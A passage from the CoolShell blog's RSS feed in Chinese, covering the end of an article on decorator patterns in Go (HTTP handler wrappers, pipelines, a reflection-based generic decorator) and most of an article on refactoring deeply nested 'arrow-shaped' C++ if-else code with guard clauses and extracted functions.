<code>timedSumFunc()</code></p>\n<p>运行后输出：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">$ go run time.sum.go\n--- Time Elapsed (main.Sum1): 3.557469ms ---\n--- Time Elapsed (main.Sum2): 291ns ---\n49999954995000, 49999954995000\n</pre>\n<h4>HTTP 相关的一个示例</h4>\n<p>我们再来看一个处理 HTTP 请求的相关的例子。</p>\n<p>先看一个简单的 HTTP Server 的代码。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"10-16,24\">package main\n\nimport (\n    \"fmt\"\n    \"log\"\n    \"net/http\"\n    \"strings\"\n)\n\nfunc WithServerHeader(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"---&gt;WithServerHeader()\")\n        w.Header().Set(\"Server\", \"HelloServer v0.0.1\")\n        h(w, r)\n    }\n}\n\nfunc hello(w http.ResponseWriter, r *http.Request) {\n    log.Printf(\"Recieved Request %s from %s\\n\", r.URL.Path, r.RemoteAddr)\n    fmt.Fprintf(w, \"Hello, World! \"+r.URL.Path)\n}\n\nfunc main() {\n    http.HandleFunc(\"/v1/hello\", WithServerHeader(hello))\n    err := http.ListenAndServe(\":8080\", nil)\n    if err != nil {\n        log.Fatal(\"ListenAndServe: \", err)\n    }\n}</pre>\n<p>上面代码中使用到了修饰模式，<code>WithServerHeader()</code> 函数就是一个 Decorator，其传入一个 <code>http.HandlerFunc</code>，然后返回一个改写的版本。上面的例子还是比较简单，用 <code>WithServerHeader()</code> 就可以加入一个 Response 的 Header。</p>\n<p>于是，这样的函数我们可以写出好些个。如下所示，有写 HTTP 响应头的，有写认证 Cookie 的，有检查认证Cookie的，有打日志的……</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"60-62\">package main\n\nimport (\n    \"fmt\"\n    \"log\"\n    \"net/http\"\n    \"strings\"\n)\n\nfunc WithServerHeader(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"---&gt;WithServerHeader()\")\n        w.Header().Set(\"Server\", \"HelloServer v0.0.1\")\n        h(w, r)\n    }\n}\n\nfunc WithAuthCookie(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"---&gt;WithAuthCookie()\")\n        cookie := &amp;http.Cookie{Name: \"Auth\", Value: \"Pass\", Path: \"/\"}\n        http.SetCookie(w, cookie)\n        h(w, r)\n    }\n}\n\nfunc WithBasicAuth(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"---&gt;WithBasicAuth()\")\n        cookie, err := r.Cookie(\"Auth\")\n        if err != nil || cookie.Value != \"Pass\" {\n            w.WriteHeader(http.StatusForbidden)\n            return\n        }\n        h(w, r)\n    }\n}\n\nfunc WithDebugLog(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"---&gt;WithDebugLog\")\n        r.ParseForm()\n        log.Println(r.Form)\n        log.Println(\"path\", r.URL.Path)\n        log.Println(\"scheme\", r.URL.Scheme)\n        log.Println(r.Form[\"url_long\"])\n        for k, v := range r.Form {\n            log.Println(\"key:\", k)\n            log.Println(\"val:\", strings.Join(v, \"\"))\n        }\n        h(w, r)\n    }\n}\nfunc hello(w http.ResponseWriter, r *http.Request) {\n    log.Printf(\"Recieved Request %s from %s\\n\", r.URL.Path, r.RemoteAddr)\n    fmt.Fprintf(w, \"Hello, World! \"+r.URL.Path)\n}\n\nfunc main() {\n    http.HandleFunc(\"/v1/hello\", WithServerHeader(WithAuthCookie(hello)))\n    http.HandleFunc(\"/v2/hello\", WithServerHeader(WithBasicAuth(hello)))\n    http.HandleFunc(\"/v3/hello\", WithServerHeader(WithBasicAuth(WithDebugLog(hello))))\n    err := http.ListenAndServe(\":8080\", nil)\n    if err != nil {\n        log.Fatal(\"ListenAndServe: \", err)\n    }\n}</pre>\n<h4>多个修饰器的 Pipeline</h4>\n<p>在使用上，需要对函数一层层的套起来，看上去好像不是很好看，如果需要 decorator 比较多的话，代码会比较难看了。嗯，我们可以重构一下。</p>\n<p>重构时，我们需要先写一个工具函数——用来遍历并调用各个 decorator：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type HttpHandlerDecorator func(http.HandlerFunc) http.HandlerFunc\n\nfunc Handler(h http.HandlerFunc, decors ...HttpHandlerDecorator) http.HandlerFunc {\n    for i := range decors {\n        d := decors[len(decors)-1-i] // iterate in reverse\n        h = d(h)\n    }\n    return h\n}</pre>\n<p>然后，我们就可以像下面这样使用了。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">http.HandleFunc(\"/v4/hello\", Handler(hello,\n                WithServerHeader, WithBasicAuth, WithDebugLog))</pre>\n<p>这样的代码是不是更易读了一些？pipeline 的功能也就出来了。</p>\n<h4>泛型的修饰器</h4>\n<p>不过，对于 Go 的修饰器模式，还有一个小问题 —— 好像无法做到泛型，就像上面那个计算时间的函数一样，其代码耦合了需要被修饰的函数的接口类型，无法做到非常通用，如果这个事解决不了，那么，这个修饰器模式还是有点不好用的。</p>\n<p>因为 Go 语言不像 Python 和 Java，Python是动态语言，而 Java 有语言虚拟机，所以他们可以干好些比较变态的事，然而 Go 语言是一个静态的语言，这意味着其类型需要在编译时就要搞定，否则无法编译。不过，Go 语言支持的最大的泛型是 <code>interface{}</code> 还有比较简单的 reflection 机制，在上面做做文章，应该还是可以搞定的。</p>\n<p>废话不说，下面是我用 reflection 机制写的一个比较通用的修饰器（为了便于阅读，我删除了出错判断代码）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"7,10\">func Decorator(decoPtr, fn interface{}) (err error) {\n    var decoratedFunc, targetFunc reflect.Value\n\n    decoratedFunc = reflect.ValueOf(decoPtr).Elem()\n    targetFunc = reflect.ValueOf(fn)\n\n    v := reflect.MakeFunc(targetFunc.Type(),\n            func(in []reflect.Value) (out []reflect.Value) {\n                fmt.Println(\"before\")\n                out = targetFunc.Call(in)\n                fmt.Println(\"after\")\n                return\n            })\n\n    decoratedFunc.Set(v)\n    return\n}</pre>\n<p>上面的代码动用了 <code>reflect.MakeFunc()</code> 函数制出了一个新的函数其中的 <code>targetFunc.Call(in)</code> 调用了被修饰的函数。关于 Go 语言的反射机制，推荐官方文章 —— 《<a href=\"https://blog.golang.org/laws-of-reflection\" target=\"_blank\" rel=\"noopener noreferrer\">The Laws of Reflection</a>》，在这里我不多说了。</p>\n<p>上面这个 <code>Decorator()</code> 需要两个参数，</p>\n<ul>\n<li>第一个是出参 <code>decoPtr</code> ，就是完成修饰后的函数</li>\n<li>第二个是入参 <code>fn</code> ，就是需要修饰的函数</li>\n</ul>\n<p>这样写是不是有些二？的确是的。不过，这是我个人在 Go 语言里所能写出来的最好的的代码了。如果你知道更多优雅的，请你一定告诉我！</p>\n<p>好的，让我们来看一下使用效果。首先假设我们有两个需要修饰的函数：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func foo(a, b, c int) int {\n    fmt.Printf(\"%d, %d, %d \\n\", a, b, c)\n    return a + b + c\n}\n\nfunc bar(a, b string) string {\n    fmt.Printf(\"%s, %s \\n\", a, b)\n    return a + b\n}</pre>\n<p>然后，我们可以这样做：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type MyFoo func(int, int, int) int\nvar myfoo MyFoo\nDecorator(&amp;myfoo, foo)\nmyfoo(1, 2, 3)\n</pre>\n<p>你会发现，使用 <code>Decorator()</code> 时，还需要先声明一个函数签名，感觉好傻啊。一点都不泛型，不是吗？</p>\n<p>嗯。如果你不想声明函数签名，那么你也可以这样</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">mybar := bar\nDecorator(&amp;mybar, bar)\nmybar(\"hello,\", \"world!\")</pre>\n<p>好吧，看上去不是那么的漂亮，但是 it works。看样子 Go 语言目前本身的特性无法做成像 Java 或 Python 那样，对此，我们只能多求 Go 语言多放糖了！</p>\n<p>Again， 如果你有更好的写法，请你一定要告诉我。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li><li ><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.options-150x150.png\" alt=\"Go 编程模式：Functional Options\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_title\">Go 编程模式：Functional Options</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17929.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>27</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何重构“箭头型”代码</title>\n\t\t<link>https://coolshell.cn/articles/17757.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17757.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 05 Apr 2017 10:07:14 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Code Review]]></category>\n\t\t<category><![CDATA[Programming]]></category>\n\t\t<category><![CDATA[Refactory]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17757</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文主要起因是，一次在微博上和朋友关于嵌套好几层的if-else语句的代码重构的讨论（微博原文），在微博上大家有各式各样的问题和想法。按道理来说这些都是编程的基...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17757.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17757.html\">如何重构“箭头型”代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文主要起因是，一次在微博上和朋友关于嵌套好几层的if-else语句的代码重构的讨论（<a href=\"http://weibo.com/1401880315/ECmCW0oy2\" target=\"_blank\" rel=\"noopener noreferrer\">微博原文</a>），在微博上大家有各式各样的问题和想法。按道理来说这些都是编程的基本功，似乎不太值得写一篇文章，不过我觉得很多东西可以从一个简单的东西出发，到达本质，所以，我觉得有必要在这里写一篇的文章。不一定全对，只希望得到更多的讨论，因为有了更深入的讨论才能进步。</p>\n<p>文章有点长，我在文章最后会给出相关的思考和总结陈词，你可以跳到结尾。</p>\n<p>所谓箭头型代码，基本上来说就是下面这个图片所示的情况。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17758 size-full\" src=\"https://coolshell.cn/wp-content/uploads/2017/04/IMG_7411.jpg\" alt=\"\" width=\"720\" height=\"511\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/04/IMG_7411.jpg 720w, https://coolshell.cn/wp-content/uploads/2017/04/IMG_7411-300x213.jpg 300w, https://coolshell.cn/wp-content/uploads/2017/04/IMG_7411-380x270.jpg 380w\" sizes=\"(max-width: 720px) 100vw, 720px\" /></p>\n<p>那么，这样“箭头型”的代码有什么问题呢？看上去也挺好看的，有对称美。但是……</p>\n<p>关于箭头型代码的问题有如下几个：</p>\n<p><span id=\"more-17757\"></span></p>\n<p>1）我的显示器不够宽，箭头型代码缩进太狠了，需要我来回拉水平滚动条，这让我在读代码的时候，相当的不舒服。</p>\n<p>2）除了宽度外还有长度，有的代码的<code>if-else</code>里的<code>if-else</code>里的<code>if-else</code>的代码太多，读到中间你都不知道中间的代码是经过了什么样的层层检查才来到这里的。</p>\n<p>总而言之，<strong>“箭头型代码”如果嵌套太多，代码太长的话，会相当容易让维护代码的人（包括自己）迷失在代码中，因为看到最内层的代码时，你已经不知道前面的那一层一层的条件判断是什么样的，代码是怎么运行到这里的，所以，箭头型代码是非常难以维护和Debug的</strong>。</p>\n<h4>微博上的案例 与 Guard Clauses</h4>\n<p>OK，我们先来看一下微博上的那个示例，代码量如果再大一点，嵌套再多一点，你很容易会在条件中迷失掉（下面这个示例只是那个“大箭头”下的一个小箭头）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">\nFOREACH(Ptr&lt;WfExpression&gt;, argument, node-&gt;arguments) {\n    int index = manager-&gt;expressionResolvings.Keys().IndexOf(argument.Obj());\n    if (index != -1) {\n        auto type = manager-&gt;expressionResolvings.Values()[index].type;\n        if (! types.Contains(type.Obj())) {\n            types.Add(type.Obj());\n            if (auto group = type-&gt;GetTypeDescriptor()-&gt;GetMethodGroupByName(L&quot;CastResult&quot;, true)) {\n                int count = group-&gt;GetMethodCount();\n                for (int i = 0; i &lt; count; i++) { auto method = group-&gt;GetMethod(i);\n                    if (method-&gt;IsStatic()) {\n                        if (method-&gt;GetParameterCount() == 1 &amp;&amp;\n                            method-&gt;GetParameter(0)-&gt;GetType()-&gt;GetTypeDescriptor() == description::GetTypeDescriptor&lt;DescriptableObject&gt;() &amp;&amp;\n                            method-&gt;GetReturn()-&gt;GetTypeDescriptor() != description::GetTypeDescriptor&lt;void&gt;() ) {\n                            symbol-&gt;typeInfo = CopyTypeInfo(method-&gt;GetReturn());\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n</pre>\n<p>上面这段代码，可以把条件反过来写，然后就可以把箭头型的代码解掉了，重构的代码如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">\nFOREACH(Ptr&lt;WfExpression&gt;, argument, node-&gt;arguments) {\n    int index = manager-&gt;expressionResolvings.Keys().IndexOf(argument.Obj());\n    if (index == -1)  continue;\n    \n    auto type = manager-&gt;expressionResolvings.Values()[index].type;\n    if ( types.Contains(type.Obj()))  continue;\n    \n    types.Add(type.Obj());\n\n    auto group = type-&gt;GetTypeDescriptor()-&gt;GetMethodGroupByName(L&quot;CastResult&quot;, true);\n    if  ( ! group ) continue;\n \n    int count = group-&gt;GetMethodCount();\n    for (int i = 0; i &lt; count; i++) { auto method = group-&gt;GetMethod(i);\n        if (! method-&gt;IsStatic()) continue;\n       \n        if ( method-&gt;GetParameterCount() == 1 &amp;&amp;\n               method-&gt;GetParameter(0)-&gt;GetType()-&gt;GetTypeDescriptor() == description::GetTypeDescriptor&lt;DescriptableObject&gt;() &amp;&amp;\n               method-&gt;GetReturn()-&gt;GetTypeDescriptor() != description::GetTypeDescriptor&lt;void&gt;() ) {\n            symbol-&gt;typeInfo = CopyTypeInfo(method-&gt;GetReturn());\n            break;\n        }\n    }\n}\n</pre>\n<p>这种代码的重构方式叫 <strong>Guard Clauses</strong></p>\n<ul>\n<li><a href=\"https://martinfowler.com/\" target=\"_blank\" rel=\"noopener noreferrer\">Martin Fowler</a> 的 Refactoring 的网站上有相应的说明《<a href=\"https://refactoring.com/catalog/replaceNestedConditionalWithGuardClauses.html\" target=\"_blank\" rel=\"noopener noreferrer\">Replace Nested Conditional with Guard Clauses</a>》。</li>\n</ul>\n<ul>\n<li><a href=\"https://blog.codinghorror.com/\" target=\"_blank\" rel=\"noopener noreferrer\">Coding Horror</a> 上也有一篇文章讲了这种重构的方式 —— 《<a href=\"https://blog.codinghorror.com/flattening-arrow-code/\" target=\"_blank\" rel=\"noopener noreferrer\">Flattening Arrow Code</a>》</li>\n</ul>\n<ul>\n<li><a href=\"http://stackoverflow.com/\" target=\"_blank\" rel=\"noopener noreferrer\">StackOverflow</a> 上也有相关的问题说了这种方式 —— 《<a href=\"http://stackoverflow.com/questions/356121/refactor-nested-if-statement-for-clarity\" target=\"_blank\" rel=\"noopener noreferrer\">Refactor nested IF statement for clarity</a>》</li>\n</ul>\n<p>这里的思路其实就是，<strong>让出错的代码先返回，前面把所有的错误判断全判断掉，然后就剩下的就是正常的代码了</strong>。</p>\n<h4>抽取成函数</h4>\n<p>微博上有些人说，continue 语句破坏了阅读代码的通畅，我觉得他们一定没有好好读这里面的代码，其实，我们可以看到，所有的 if 语句都是在判断是否出错的情况，所以，在维护代码的时候，你可以完全不理会这些 if 语句，因为都是出错处理的，而剩下的代码都是正常的功能代码，反而更容易阅读了。当然，一定有不是上面代码里的这种情况，那么，不用continue ，我们还能不能重构呢？</p>\n<p>当然可以，抽成函数：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">\nbool CopyMethodTypeInfo(auto &amp;method, auto &amp;group, auto &amp;symbol) \n{\n    if (! method-&gt;IsStatic()) {\n        return true;\n    }\n    if ( method-&gt;GetParameterCount() == 1 &amp;&amp;\n           method-&gt;GetParameter(0)-&gt;GetType()-&gt;GetTypeDescriptor() == description::GetTypeDescriptor&lt;DescriptableObject&gt;() &amp;&amp;\n           method-&gt;GetReturn()-&gt;GetTypeDescriptor() != description::GetTypeDescriptor&lt;void&gt;() ) {\n        symbol-&gt;typeInfo = CopyTypeInfo(method-&gt;GetReturn());\n        return false;\n    }\n    return true;\n}\n\nvoid ExpressionResolvings(auto &amp;manager, auto &amp;argument, auto &amp;symbol) \n{\n    int index = manager-&gt;expressionResolvings.Keys().IndexOf(argument.Obj());\n    if (index == -1) return;\n    \n    auto type = manager-&gt;expressionResolvings.Values()[index].type;\n    if ( types.Contains(type.Obj())) return;\n\n    types.Add(type.Obj());\n    auto group = type-&gt;GetTypeDescriptor()-&gt;GetMethodGroupByName(L&quot;CastResult&quot;, true);\n    if  ( ! group ) return;\n\n    int count = group-&gt;GetMethodCount();\n    for (int i = 0; i &lt; count; i++) { auto method = group-&gt;GetMethod(i);\n        if ( ! CopyMethodTypeInfo(method, group, symbol) ) break;\n    }\n}\n\n...\n...\nFOREACH(Ptr&lt;WfExpression&gt;, argument, node-&gt;arguments) {\n    ExpressionResolvings(manager, arguments, symbol)\n}\n...\n...\n</pre>\n<p>你发出现，抽成函数后，代码比之前变得更容易读和更容易维护了。不是吗？</p>\n<p>有人说：“如果代码不共享，就不要抽取成函数！”，持有这个观点的人太死读书了。函数是代码的封装或是抽象，并不一定用来作代码共享使用，函数用于屏蔽细节，让其它代码耦合于接口而不是细节实现，这会让我们的代码更为简单，简单的东西都能让人易读也易维护。这才是函数的作用。</p>\n<h4>嵌套的 if 外的代码</h4>\n<p>微博上还有人问，原来的代码如果在各个 if 语句后还有要执行的代码，那么应该如何重构。比如下面这样的代码。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">\n//原版\nfor(....) {\n    do_before_cond1()\n    if (cond1) {\n        do_before_cond2();\n        if (cond2) {\n            do_before_cond3();\n            if (cond3) {\n                do_something();\n            }\n            do_after_cond3();\n        }\n        do_after_cond2();\n    }\n    do_after_cond1();\n}</pre>\n<p>上面这段代码中的那些 <code>do_after_condX()</code> 是无论条件成功与否都要执行的。所以，我们拉平后的代码如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">\n//重构第一版\nfor(....) {\n    do_before_cond1();\n    if ( !cond1 ) {\n        do_after_cond1();\n        continue\n    } \n    do_after_cond1();\n\n    do_before_cond2();\n    if ( !cond2 ) { \n        do_after_cond2();\n        continue;\n    }\n    do_after_cond2();\n\n    do_before_cond3();\n    if ( !cond3 ) {\n        do_after_cond3();\n        continue;\n    }\n    do_after_cond3();\n\n    do_something();  \n}</pre>\n<p>你会发现，上面的 <code>do_after_condX</code> 出现了两份。<strong>如果 if 语句块中的代码改变了某些<code>do_after_condX</code>依赖的状态，那么这是最终版本。</strong></p>\n<p>但是，如果它们之前没有依赖关系的话，根据 DRY 原则，我们就可以只保留一份，那么直接掉到 if 条件前就好了，如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">\n//重构第二版\nfor(....) {\n    do_before_cond1();\n    do_after_cond1();\n    if ( !cond1 ) continue;\n \n    do_before_cond2();\n    do_after_cond2();\n    if ( !cond2 ) continue;\n\n    do_before_cond3();\n    do_after_cond3();\n    if ( !cond3 ) continue;\n\n    do_something();  \n}</pre>\n<p>此时，你会说，我靠，居然，改变了执行的顺序，把条件放到 <code>do_after_condX()</code> 后面去了。这会不会有问题啊？</p>\n<p>其实，你再分析一下之前的代码，你会发现，本来，cond1 是判断 do_before_cond1() 是否出错的，如果有成功了，才会往下执行。而 do_after_cond1() 是无论如何都要执行的。从逻辑上来说，do_after_cond1()其实和do_before_cond1()的执行结果无关，而 cond1 却和是否去执行 do_before_cond2() 相关了。如果我把断行变成下面这样，反而代码逻辑更清楚了。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">\n//重构第三版\nfor(....) {\n\n    do_before_cond1();\n    do_after_cond1();\n\n\n    if ( !cond1 ) continue;  // &lt;-- cond1 成了是否做第二个语句块的条件\n    do_before_cond2();\n    do_after_cond2();\n\n    if ( !cond2 ) continue; // &lt;-- cond2 成了是否做第三个语句块的条件\n    do_before_cond3();\n    do_after_cond3();\n\n    if ( !cond3 ) continue; //&lt;-- cond3 成了是否做第四个语句块的条件\n    do_something(); \n \n}\n</pre>\n<p>于是乎，在未来维护代码的时候，维护人一眼看上去就明白，代码在什么时候会执行到哪里。 这个时候，你会发现，把这些语句块抽成函数，代码会干净的更多，再重构一版：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">\n//重构第四版\nbool do_func3() {\n   do_before_cond2();\n   do_after_cond2();\n   return cond3;\n}\n\nbool do_func2() {\n   do_before_cond2();\n   do_after_cond2();\n   return cond2;\n}\n\nbool do_func1() {\n   do_before_cond1();\n   do_after_cond1();\n   return cond1;\n}\n\n// for-loop 你可以重构成这样\nfor (...) {\n    bool cond = do_func1();\n    if (cond) cond = do_func2();\n    if (cond) cond = do_func3();\n    if (cond) do_something();\n}\n\n// for-loop 也可以重构成这样\nfor (...) {\n    if ( ! do_func1() ) continue;\n    if ( ! do_func2() ) continue;\n    if ( ! do_func3() ) continue;\n    do_something();\n}\n</pre>\n<p>上面，我给出了两个版本的for-loop，你喜欢哪个？我喜欢第二个。这个时候，因为for-loop里的代码非常简单，就算你不喜欢 continue ，这样的代码阅读成本已经很低了。</p>\n<h4>状态检查嵌套</h4>\n<p>接下来，我们再来看另一个示例。下面的代码的伪造了一个场景——把两个人拉到一个一对一的聊天室中，因为要检查双方的状态，所以，代码可能会写成了“箭头型”。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">\nint ConnectPeer2Peer(Conn *pA, Conn* pB, Manager *manager)\n{\n    if ( pA-&gt;isConnected() ) {\n        manager-&gt;Prepare(pA);\n        if ( pB-&gt;isConnected() ) {\n            manager-&gt;Prepare(pB);\n            if ( manager-&gt;ConnectTogther(pA, pB) ) {\n                pA-&gt;Write(&quot;connected&quot;);\n                pB-&gt;Write(&quot;connected&quot;);\n                return S_OK;\n            }else{\n                return S_ERROR;\n            }\n\n        }else {\n            pA-&gt;Write(&quot;Peer is not Ready, waiting...&quot;);\n            return S_RETRY;\n        }\n    }else{\n        if ( pB-&gt;isConnected() ) {\n            manager-&gt;Prepare();\n            pB-&gt;Write(&quot;Peer is not Ready, waiting...&quot;);\n            return S_RETRY;\n        }else{\n            pA-&gt;Close();\n            pB-&gt;Close();\n            return S_ERROR;\n        }\n    }\n    //Shouldn't be here!\n    return S_ERROR;\n}</pre>\n<p>重构上面的代码，我们可以先分析一下上面的代码，说明了，上面的代码就是对 PeerA 和 PeerB 的两个状态 “连上”， “未连上” 做组合 “状态” （注：实际中的状态应该比这个还要复杂，可能还会有“断开”、“错误”……等等状态）， 于是，我们可以把代码写成下面这样，合并上面的嵌套条件，对于每一种组合都做出判断。这样一来，逻辑就会非常的干净和清楚。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">\nint ConnectPeer2Peer(Conn *pA, Conn* pB, Manager *manager)\n{\n    if ( pA-&gt;isConnected() ) {\n        manager-&gt;Prepare(pA);\n    }\n\n    if ( pB-&gt;isConnected() ) {\n        manager-&gt;Prepare(pB);\n    }\n\n    // pA = YES &amp;&amp; pB = NO\n    if (pA-&gt;isConnected() &amp;&amp; ! pB-&gt;isConnected()  ) {\n        pA-&gt;Write(&quot;Peer is not Ready, waiting&quot;);\n        return S_RETRY;\n    // pA = NO &amp;&amp; pB = YES\n    }else if ( !pA-&gt;isConnected() &amp;&amp; pB-&gt;isConnected() ) {\n        pB-&gt;Write(&quot;Peer is not Ready, waiting&quot;);\n        return S_RETRY;\n    // pA = YES &amp;&amp; pB = YES\n    }else if (pA-&gt;isConnected() &amp;&amp; pB-&gt;isConnected()  ) {\n        if ( ! manager-&gt;ConnectTogther(pA, pB) ) {\n            return S_ERROR;\n        }\n        pA-&gt;Write(&quot;connected&quot;);\n        pB-&gt;Write(&quot;connected&quot;);\n        return S_OK;\n    }\n\n    // pA = NO, pB = NO\n    pA-&gt;Close();\n    pB-&gt;Close();\n    return S_ERROR;\n}</pre>\n<h4>延伸思考</h4>\n<p>对于 <code>if-else</code> 语句来说，一般来说，就是检查两件事：<strong>错误</strong> 和 <strong>状态</strong>。</p>\n<h5>检查错误</h5>\n<p>对于检查错误来说，使用 Guard Clauses 会是一种标准解，但我们还需要注意下面几件事：</p>\n<p style=\"padding-left: 30px;\">1）当然，出现错误的时候，还会出现需要释放资源的情况。你可以使用 <code>goto fail;</code> 这样的方式，但是最优雅的方式应该是C++面向对象式的 RAII 方式。</p>\n<p style=\"padding-left: 30px;\">2）以错误码返回是一种比较简单的方式，这种方式有很一些问题，比如，如果错误码太多，判断出错的代码会非常复杂，另外，正常的代码和错误的代码会混在一起，影响可读性。所以，在更为高组的语言中，使用 <code>try-catch</code> 异常捕捉的方式，会让代码更为易读一些。</p>\n<h5>检查状态</h5>\n<p>对于检查状态来说，实际中一定有更为复杂的情况，比如下面几种情况：</p>\n<p style=\"padding-left: 30px;\">1）像TCP协议中的两端的状态变化。</p>\n<p style=\"padding-left: 30px;\">2）像shell各个命令的命令选项的各种组合。</p>\n<p style=\"padding-left: 30px;\">3）像游戏中的状态变化（一棵非常复杂的状态树）。</p>\n<p style=\"padding-left: 